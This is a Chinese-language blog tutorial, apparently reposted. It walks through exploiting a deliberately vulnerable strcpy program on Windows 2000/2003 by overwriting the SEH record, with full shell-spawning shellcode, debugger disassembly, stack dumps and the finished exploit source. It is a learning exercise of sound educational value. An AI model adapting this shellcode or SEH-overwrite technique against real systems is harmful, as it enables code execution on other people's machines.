利用异常处理执行shellcode实例 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    在《Q版缓冲区溢出教程》中有一个例子,如下:

    #include

    #include

    char name[] =

    "\x41\x41\x41\x41"      //name[0] - name[3]

    "\x41\x41\x41\x41"      //name[4] - name[7]

    "\x41\x41\x41\x41"      //ebp

    "\x12\x45\xfa\x7f"        //通用jmp esp地址: 7ffa4512

    /* 以下shellcode将开启一个cmd. */

    "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

    "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

    "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

    "\x60\x1e\x80\x7c" //2003 sp1上LoadLibraryA地址:0x7c801e60

    "\x52\x8D\x45\xF4\x50"

    "\xFF\x55\xF0"

    "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

    "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

    "\x50\xB8"

    "\x83\xa0\xb8\x77" //2003 sp1上system地址:0x77b8a083

    "\xFF\xD0";

    int main()

    {

    char output[8];

    int i;

    strcpy(output, name);

    for(i=0; i<8 && output[i]; i++)

    {

    printf("\\0x%x",output[i]);

    }

    printf("\n");

    return 0;

    }

    这里它用的是用jmp esp覆盖返回点的方法,即原保存eip地址的地方被覆盖成了jmp esp,当执行retn时,相当于执行:pop eip,jmp eip,

利用异常处理执行shellcode实例

。也就是会把jmp esp的地址赋给eip,然后eip就会去执行jmp esp,而由于pop eip时栈顶指针往下(即高址方向)移了一字节,刚好指向我们的shellcode地址,所以jmp esp就会执行到我们的shellcode了。

    后来看了利用异常处理来执行shellcode的方法,很想找个机会实践实践,于是我对上面这个程序重新进行了分析,把原来jmp esp的溢出方式改成了jmp ebx方式,分析过程如下:

    首先将char name[]的值赋的长一点(具体多长我心里也没数),使其覆盖异常处理入口,用debug模式编译出程序,然后用OllyDbg V1.10反汇编,代码如下:

    00401270 s>/$ 55           push ebp

    00401271  |. 8BEC         mov ebp,esp

    00401273  |. 6A FF        push -1

    00401275  |. 68 38014200  push strcpyFl.00420138

    0040127A  |. 68 743F4000  push strcpyFl.00403F74          ;SE 句柄安装

    0040127F  |. 64:A1 0000000>mov eax,dword ptr fs:[0]        ;此时栈顶值即为异常处理函数地址,即ESP=0012FFB4

    00401285  |. 50           push eax

    00401286  |. 64:8925 00000>mov dword ptr fs:[0],esp

    0040128D  |. 83C4 F0      add esp,-10

    00401290  |. 53           push ebx

    00401291  |. 56           push esi

    00401292  |. 57           push edi

    00401293  |. 8965 E8      mov dword ptr ss:[ebp-18],esp

    为什么这里栈顶值就是异常处理入口呢?这里涉及到异常处理的一些原理,可以看看czy写的《利用SEH执行shellcode》,文章地址:http://elfhack.whitecell.org/chinesedocs/seh1.txt

    他文章写的有些难度,像我等菜鸟估计也不好懂,这里我将我自已的理解写出来,大家可以参考一下。他文章中提到,fs:[0]指向一个_EXCEPTION_REGISTRATION结构(我理解就是指向异常处理入口),这个_EXCEPTION_REGISTRATION结构如下:

    struct _EXCEPTION_REGISTRATION

    {

    前一个_EXCEPTION_REGISTRATION结构;

    异常处理函数入口;

    }

    每个_EXCEPTION_REGISTRATION结构包括两个指针,前一个指针指向前一个_EXCEPTION_REGISTRATION,以形成一个链(如果不懂什么叫链可以看一下c语言版的数据结构)。后一个指针指向的是异常处理函数的地址。

    这里要提醒一点,异常处理入口和异常处理函数的地址是不同的,如下:

    struct _EXCEPTION_REGISTRATION               <--地址1,这里对应的就是异常处理函数地址-4,即0012FFB0

    {

    前一个_EXCEPTION_REGISTRATION结构; <--地址2,这里的值和地址1是一样的

    异常处理函数入口;                                           <--地址3,这里对应的就是上面分析出来的0012FFB4

    }

    异常处理入口指的是地址1,其实地址1和地址2的值是一样的,因为结构的地址其实就是结构中第一个成员的地点。

    异常处理函数的地址(地址3) = 前一个_EXCEPTION_REGISTRATION结构(地址2) + 4,为什么是加4呢?因为地址2是指针,占4个字节。

    前面说的fs:[0]指向一个_EXCEPTION_REGISTRATION结构,就是指fs:[0]指向地址1(也就是地址2),当发生异常的时候,会执行地址3指向的函数,我们要做的有两件事情,一是将地址1的值换成jmp 04,二是将地址3中的值换成jmp ebx。 jmp 04对应的值为:"04eb9090,所以也就是要将地1的值换成:04eb9090。而jmp ebx的通用地址是:0x7ffa1571,所以就是将地址3的值换成7ffa1571。

    接下来我们要做的就是找到返回点的地址(其实jmp esp例子中已经找过了)。

    继续跟踪,发现00401354处的call里执行的就是我们的代码,按F7跟进去。

    00401354  |. E8 ACFCFFFF  call strcpyFl.00401005

    这一句执行后,就会跳到下面:

    00401005  /$ /E9 06000000  jmp strcpyFl.00401010

    0040100A  | |CC           int3

    0040100B  | |CC           int3

    0040100C  | |CC           int3

    0040100D  | |CC           int3

    0040100E  | |CC           int3

    0040100F  | |CC           int3

    00401010  |> \55           push ebp

    00401011  |. 8BEC         mov ebp,esp

    00401013  |. 83EC 4C      sub esp,4C

    00401016  |. 53           push ebx

    00401017  |. 56           push esi

    00401018  |. 57           push edi

    00401019  |. 8D7D B4      lea edi,dword ptr ss:[ebp-4C]

    0040101C  |. B9 13000000  mov ecx,13

    00401021  |. B8 CCCCCCCC  mov eax,CCCCCCCC

    00401026  |. F3:AB        rep stos dword ptr es:[edi]

    00401028  |. 68 98334200  push strcpyFl.00423398

    0040102D  |. 8D45 F8      lea eax,dword ptr ss:[ebp-8]

    00401030  |. 50           push eax

    00401031  |. E8 0A010000  call strcpyFl.00401140

    00401036  |. 83C4 08      add esp,8

    00401039  |. C745 F4 00000>mov dword ptr ss:[ebp-C],0

    00401040  |. EB 09        jmp short strcpyFl.0040104B

    00401042  |> 8B4D F4      /mov ecx,dword ptr ss:[ebp-C]

    00401045  |. 83C1 01      |add ecx,1

    00401048  |. 894D F4      |mov dword ptr ss:[ebp-C],ecx

    0040104B  |> 837D F4 08    cmp dword ptr ss:[ebp-C],8

    0040104F  |. 7D 24        |jge short strcpyFl.00401075

    00401051  |. 8B55 F4      |mov edx,dword ptr ss:[ebp-C]

    00401054  |. 0FBE4415 F8  |movsx eax,byte ptr ss:[ebp+edx-8]

    00401059  |. 85C0         |test eax,eax

    0040105B  |. 74 18        |je short strcpyFl.00401075

    0040105D  |. 8B4D F4      |mov ecx,dword ptr ss:[ebp-C]

    00401060  |. 0FBE540D F8  |movsx edx,byte ptr ss:[ebp+ecx-8]

    00401065  |. 52           |push edx                               ; /Arg2

    00401066  |. 68 20004200  |push strcpyFl.00420020                 ; |Arg1 = 00420020 ASCII "\0x%x"

    0040106B  |. E8 50000000  |call strcpyFl.004010C0                 ; \strcpyFl.004010C0

    00401070  |. 83C4 08      |add esp,8

    00401073  |.^ EB CD        \jmp short strcpyFl.00401042

    00401075  |> 68 1C004200  push strcpyFl.0042001C                  ; /Arg1 = 0042001C

    0040107A  |. E8 41000000  call strcpyFl.004010C0                  ; \strcpyFl.004010C0

    0040107F  |. 83C4 04      add esp,4

    00401082  |. 33C0         xor eax,eax

    00401084  |. 5F           pop edi

    00401085  |. 5E           pop esi

    00401086  |. 5B           pop ebx

    00401087  |. 83C4 4C      add esp,4C

    0040108A  |. 3BEC         cmp ebp,esp

    0040108C  |. E8 9F010000  call strcpyFl.00401230

    00401091  |. 8BE5         mov esp,ebp

    00401093  |. 5D           pop ebp

    00401094  \. C3           retn         ;这里是返回点,此时ESP=0012FF84,

    从上面分析可知,返回点地址为0012FF84,异常处理入口点为:0012FFB0,结合jmp esp例子,我们可以得到要覆盖的结果了:

    "\x41\x41\x41\x41"      //name[0] - name[3]

    "\x41\x41\x41\x41"      //name[4] - name[7]

    "\x41\x41\x41\x41"      //ebp

    "\x12\x45\xfa\x7f"        //通用jmp esp地址: 7ffa4512

    "\x41\x41\x41\x41"     //从这里开始覆盖40个字节长度,就能达到异常处理入口处了   |

    "\x41\x41\x41\x41"     //                                                                                                            |

    ...                                  //                                                                                                      40字节

    "\x41\x41\x41\x41"     //                                                                                                            |

    "\x41\x41\x41\x41"     //                                                                                                            |

    "\x90\x90\xeb\x04"    //这里就是异常处理入口了,覆盖成:jmp 04

    "\x71\x15\xfa\x7f"       //这里是异常处理函数地址,覆盖成jmp ebx的通用地址:7ffa1571

    从以上的shellcode也可以看出来,异常处理入口前面的字符长度为8+4+4+40=56字节,

电脑资料

利用异常处理执行shellcode实例》(https://www.unjs.com)。这前面的56字节我们可以用随意构造。最后成功溢出的代码如下:

    /*

    * strcpyFlow.c

    * by:∮明天去要饭

    * http://blog.csdn.net/kgdiwss

    */

    #include

    #include

    char name[] =

    "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcd"

    //56个字节(前8字节为output[8]的长度,后48字节为溢出的长度)

    "\x90\x90\xeb\x04"   //jmp 04

    "\x71\x15\xfa\x7f"     //jmp ebx通用地址

    //以下shellcode将开启一个cmd.

    "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

    "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

    "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

    "\x23\x80\xE7\x77"  //2000 sp0上LoadLibraryA地址:0x77E78023

    "\x52\x8D\x45\xF4\x50"

    "\xFF\x55\xF0"

    "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

    "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

    "\x50\xB8"

    "\xAD\xAA\x01\x78"  //2000 sp0上system地址:0x7801AAAD

    "\xFF\xD0";

    int main()

    {

    char output[8];

    int i;

    strcpy(output, name);

    for(i=0; i<8 && output[i]; i++)

    {

    printf("\\0x%x",output[i]);

    }

    printf("\n");

    return 0;

    }

    此程序运行到返回点时,堆栈中的数据如下:

    0012FF84  706F6E6D <--返回点地址

    0012FF88  74737271

    0012FF8C  78777675

    0012FF90  42417A79

    0012FF94  46454443

    0012FF98  4A494847

    0012FF9C  4E4D4C4B

    0012FFA0  5251504F

    0012FFA4  56555453

    0012FFA8  5A595857

    0012FFAC  64636261

    0012FFB0  04EB9090 <--指针到下一个 SEH 记录(异常处理入口,这里被覆盖成了jmp 04)

    0012FFB4  7FFA1571 <--SE 句柄(异常处理函数地址这里被覆盖成了jmp ebx通用地址)

    0012FFB8  33EC8B55 <--shellcode开始处

    0012FFBC  505050C0

    本例代码在windows2000 sp0上溢出通过。

    虽然这只是一个小小的实验,但花了我好多天的时间, 本人在测试过程中遇到如下问题:

    1。异常处理函数地址我找不到。

    2。我将windwos2003上的shellcode用在了windows2000 sp0上,却忘了进行修改,后来跟踪时才发现其实已经执行我的shellcode了,只是由于system等函数地址不正确才会又提示异常。

    所以说菜鸟每走一步都是很辛苦的,当我早上溢出成功的时候,真的是非常的高兴。同时再一次验证了:人要靠自已这句话。在测试过程中当然也问了不少朋友,无论他们有没有能提供帮助,都非常感谢他们。

    另外就是本人初学溢出编程,所以文章中如果发现了错误,请告知本人,QQ:305725744,不胜感激。

最新文章